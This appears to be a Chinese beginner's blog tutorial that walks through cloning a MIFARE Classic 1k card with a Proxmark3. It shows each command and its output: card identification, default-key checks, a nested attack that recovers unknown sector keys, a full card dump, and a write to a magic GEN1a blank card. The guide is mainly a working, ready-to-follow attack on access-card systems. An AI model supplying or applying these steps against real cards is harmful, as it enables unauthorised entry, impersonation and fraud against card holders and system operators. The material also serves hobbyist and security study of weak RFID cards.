Proxmark3 小白入门 | 复制 NXP MIFARE CLASSIC 1k 卡

系统环境：macOS Mojave version 10.14.2

环境弄好了，固件也更新，来复制个卡试试。

1. 识别一下卡的类型

proxmark3> lf search
NOTE: some demods output possible binary
  if it finds something that looks like a tag
False Positives ARE possible


Checking for known tags:


No Data Found! - maybe not an LF tag?

proxmark3> hf search

 UID : aa aa aa aa
ATQA : 00 04
 SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
Prng detection: WEAK

Valid ISO14443A Tag Found - Quiting Search

2. 识别出是一张 NXP MIFARE CLASSIC 1k，先测试一下默认密码能不能解密。

proxmark3> hf mf chk *1 ? t
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 1a2b3c4d5e6f
chk default key[ 6] 123456789abc
chk default key[ 7] 010203040506
chk default key[ 8] 123456abcdef
chk default key[ 9] abcdef123456
chk default key[10] 4d3a99c351dd
chk default key[11] 1a982c7e459a
chk default key[12] d3f7d3f7d3f7
chk default key[13] 714c5c886e97
chk default key[14] 587ee5f9350f
chk default key[15] a0478cc39091
chk default key[16] 533cb6c723f6
chk default key[17] 8fd0a4f256e9

To cancel this operation press the button on the proxmark...
--o
|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|002|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|003|  ffffffffffff  | 0 |  ffffffffffff  | 0 |
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|---|----------------|---|----------------|---|
Found keys have been transferred to the emulator memory

3. 001 002 003 数据块密码不对，再破解一下这三块的密码。

proxmark3> hf mf nested 1 0 A ffffffffffff d
--nested. sectors:16, block no:  0, key type:A, eml:n, dmp=y checktimeout=471 us
Testing known keys. Sector count=16
nested...
-----------------------------------------------
uid:aaaaaaaa trgbl=4 trgkey=0
-----------------------------------------------
uid: aaaaaaaa trgbl=4 trgkey=1
-----------------------------------------------
uid: aaaaaaaa trgbl=8 trgkey=0
-----------------------------------------------
uid: aaaaaaaa trgbl=8 trgkey=1
-----------------------------------------------
uid: aaaaaaaa trgbl=12 trgkey=0
-----------------------------------------------
uid: aaaaaaaa trgbl=12 trgkey=1
Found valid key:kkkkkckkkkkk
-----------------------------------------------
uid: aaaaaaaa trgbl=4 trgkey=0
-----------------------------------------------
uid: aaaaaaaa trgbl=4 trgkey=1
-----------------------------------------------
uid: aaaaaaaa trgbl=8 trgkey=0
-----------------------------------------------
uid: aaaaaaaa trgbl=8 trgkey=1
-----------------------------------------------
uid: aaaaaaaa trgbl=4 trgkey=0
-----------------------------------------------
uid: aaaaaaaa trgbl=4 trgkey=1
-----------------------------------------------
uid: aaaaaaaa trgbl=8 trgkey=0
Found valid key:kkkkkdkkkkkk
-----------------------------------------------
uid: aaaaaaaa trgbl=4 trgkey=0
Found valid key:kkkkkekkkkkk


-----------------------------------------------
Nested statistic:
Iterations count: 14
Time in nested: 9.312 (0.665 sec per key)
|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  kkkkkekkkkkk  | 1 |  kkkkkekkkkkk  | 1 |
|002|  kkkkkdkkkkkk  | 1 |  kkkkkdkkkkkk  | 1 |
|003|  kkkkkckkkkkk  | 1 |  kkkkkckkkkkk  | 1 |
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
...
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...

4. OK，找到001 002 003 数据块的密码，然后导出卡的数据（dumpdata.bin）。

proxmark3> hf mf dump
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
...
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block  0 of sector  0.
...
#db# READ BLOCK FINISHED
Successfully read block  3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin

5. 准备一张空白卡，先识别一下类型，看看和原卡是不是一样。

proxmark3> hf search

UID : bb bb bb bb
ATQA : 00 04
 SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Chinese magic backdoor commands (GEN 1a) detected
Prng detection: WEAK

Valid ISO14443A Tag Found - Quiting Search

6. 把旧卡的数据导入到空白卡里。

proxmark3> hf mf restore
Restoring dumpdata.bin to card
Writing to block   0: aa aa aa aa xx 08 04 00 62 63 64 65 66 67 68 69
#db# WRITE BLOCK FINISHED
isOk:00
Writing to block   1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
#db# WRITE BLOCK FINISHED
isOk:01
...
Writing to block  63: ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff
#db# WRITE BLOCK FINISHED
isOk:01

总结

1. 识别需要复制的卡类型
2. 默认密码测试
3. 未知密码破解
4. 导出原卡数据
5. 准备同类型空白卡
6. 写入原卡数据

参考链接：
Proxmark3 commands